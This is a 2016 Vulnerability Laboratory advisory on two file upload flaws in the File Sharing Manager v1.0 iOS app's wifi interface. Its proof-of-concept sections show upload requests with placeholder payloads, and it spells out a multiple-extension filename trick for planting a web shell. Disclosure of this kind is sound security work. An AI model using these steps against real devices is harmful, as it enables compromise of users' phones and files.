File Sharing Manager v1.0 iOS - Multiple Web Vulnerabilities

Document Title:
===============
File Sharing Manager v1.0 iOS - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1715


Release Date:
=============
2016-02-09


Vulnerability Laboratory ID (VL-ID):
====================================
1715


Common Vulnerability Scoring System:
====================================
7.2


Product & Service Introduction:
===============================
File Sharing Manager -Share pictures, videos to your computer and other iOS/non-iOS devices. file share manager is your one stop multi platform solution.

(Copy of the Homepage: https://itunes.apple.com/us/app/file-sharing-manager-transfer/id1014628606 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered multiple web vulnerabilities in the official File Sharing Manager v1.0 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2016-02-09: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Romman Smart Applications LLC
Product: File Sharing Manager - iOS (Web-Application) [Wifi] 1.0


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
An arbitrary file upload web vulnerability has been discovered in the official File Sharing Manager v1.0 iOS mobile web-application.
The arbitrary file upload vulnerability allows remote attackers to unauthorized include local file/path requests or system specific 
path commands to compromise the mobile web-application.

The web vulnerability is located in the `filename` value of the `upload` module. Remote attackers are able to inject own files with 
malicious `filename` values in the `file upload` POST method request to compromise the mobile web-application. The arbitrary file upload 
execute occcurs in the index file dir listing and sub folders of the wifi interface. The attacker is able to inject the 
own payloads by usage of the wifi interface or local file sync function.

The security risk of the arbitrary file upload vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.6. 
Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privileged web-application user account. 
Successful exploitation of the arbitrary file upload vulnerability results in mobile application compromise or connected device component compromise.

Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] Upload

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] Index File Dir Listing (http://localhost:49772/)


1.2
An aunrestricted file upload web vulnerability has been discovered in the official File Sharing Manager v1.0 iOS mobile web-application.
The arbitrary file upload issue allows remote attackers to upload files with multiple extensions to bypass the system validation and compromise the web-server.

The vulnerability is located in the filename value of the `upload` file module. Remote attackers are able to upload a php or js web-shell by a rename of the 
filename with multiple extensions in the upload POST method request. The attacker uploads for example a web-shell with the following name and extension 
`pentest.png.html.php.js.aspx.html.png`. After the upload the attacker needs to open the file in the wifi web-application interface. He deletes the .png file 
extension and can access the webshell with elevated access rights to execute. 

The security risk of the arbitrary file upload web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.2.
Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privileged web-application user account with password.
Successful exploitation of the arbitrary file upload vulnerability results in unauthorized file access (aap/device) and compromise of http web-server.

Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] Upload

Vulnerable Parameter(s):
				[+] filename  (multiple extensions)

Affected Module(s):
				[+] Index File Dir Listing (http://localhost:49772/)


Proof of Concept (PoC):
=======================
1.1
The arbitrary file upload web vulnerability can be exploited by remote attacker in the same network without privileged web-application 
user account and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information 
and steps below to continue.

<div class="files">     <bq>Files</bq>     <p><a href="..">..</a><br>     
</p><a href="2.png">2.png</a>		(     0.5 Kb, 2016-02-08 15:37:32 +0000)<br>
<a href="<./[ARBITRARY FILE UPLOAD VULNERABILITY!]>2.png"><./[ARBITRARY FILE UPLOAD VULNERABILITY!]>2.png</a>(     0.5 Kb, 2016-02-08 15:39:07 +0000)<br />
<a href="Box/">Box/</a>		(     0.1 Kb, 2016-02-07 14:20:33 +0000)<br />
<a href="DropBox/">DropBox/</a>		(     0.1 Kb, 2016-02-07 14:20:33 +0000)<br />
</p><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1"><label>upload file
<input type="file" name="file" id="file" /></label><label><input type="submit" name="button" id="button" value="Submit" /></label></form>
<hr></div></div></div></center></body></html></iframe></a></div>


PoC: Exploitation
http://localhost:49772/./[ARBITRARY FILE UPLOAD VULNERABILITY!]


--- PoC Session Logs [POST] ---
Status: 200[OK]
 POST http://localhost:49772/ 
   Request Header:
      Host[localhost:49772]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://localhost:49772/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------71031763230011
Content-Disposition: form-data; name="file"; filename="./[ARBITRARY FILE UPLOAD VULNERABILITY!][JS]"
Content-Type: image/png



1.2
The arbitrary file upload web vulnerability can be exploited by remote attacker in the same network without privileged web-application user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

<div class="files">     <bq>Files</bq>     <p><a href="..">..</a><br>     
</p><a href="41.png">41.png</a>		(     0.5 Kb, 2016-02-08 15:37:32 +0000)<br>
<a href="././webshell.png.html.js.php.html.js.php.png>./webshell.png.html.js.php.html.js.php.png">
<./webshell.png.html.js.php.html.js.php.png>./webshell.png.html.js.php.html.js.php.png</a>(     0.5 Kb, 2016-02-08 15:39:07 +0000)<br />
<a href="Box/">Box/</a>		(     0.1 Kb, 2016-02-07 14:20:33 +0000)<br />
<a href="DropBox/">DropBox/</a>		(     0.1 Kb, 2016-02-07 14:20:33 +0000)<br />
</p><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1"><label>upload file
<input type="file" name="file" id="file" /></label><label><input type="submit" name="button" id="button" value="Submit" /></label></form>
<hr></div></div></div></center></body></html></iframe></a></div>


PoC: Exploitation
http://localhost:49772/./[ARBITRARY FILE UPLOAD VULNERABILITY!]webshell.png.html.js.php.html.js.png


--- PoC Session Logs [POST] ---
Status: 200[OK]
 POST http://localhost:49772/ 
   Request Header:
      Host[localhost:49772]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[http://localhost:49772/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------71031763230011
Content-Disposition: form-data; name="file"; filename="./[ARBITRARY FILE UPLOAD VULNERABILITY!]webshell.png.html.js.php.html.js.png"


Security Risk:
==============
1.1
The security risk of the arbitrary file upload web vulnerability in the filename value of the upload file function is estimated as high. (CVSS 6.6)

1.2
The security risk of the unrestricted file upload web vulnerability in the file upload mechanism is estimated as high. (CVSS 7.2)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]


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